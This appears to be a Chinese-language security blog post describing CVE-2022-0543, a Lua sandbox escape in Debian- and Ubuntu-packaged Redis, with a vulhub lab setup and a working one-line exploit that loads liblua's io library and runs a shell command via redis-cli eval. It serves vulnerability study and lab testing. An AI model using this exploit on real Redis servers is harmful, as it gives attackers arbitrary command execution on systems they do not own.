巴西研究员 Reginaldo Silva 于 2022 年 3 月 8 日公开披露 [1] 该漏洞,从他的博客得知 CVE-2022-0543 该 Redis 沙盒逃逸漏洞仅影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞。ph 师傅也在其 vulhub [2] 项目中更新了该漏洞。
Redis 是著名的开源 Key-Value 数据库,其具备在沙箱中执行 Lua 脚本的能力。
Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象
package
,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。
vulhub 漏洞环境
利用 vulhub 启动一个使用 Ubuntu 源安装的 Redis 5.0.7 漏洞环境。
version: '2'
services:
redis:
image: vulhub/redis:5.0.7
ports:
- "6379:6379"
漏洞 Exploit
redis-cli -h ip
连接该 Redis,直接执行:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
我们借助 Lua 沙箱中遗留的变量
package
的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io
。在 Lua 中执行这个导出函数,即可获得io
库,再使用其执行命令。
不同环境下 liblua 库的位置可能不同。
总的来说该漏洞也是值得关注的,由于目前 Debian 系作为服务器的情况很多,且服务器一般常年不更新其软件,所以实际攻防可能也会遇到。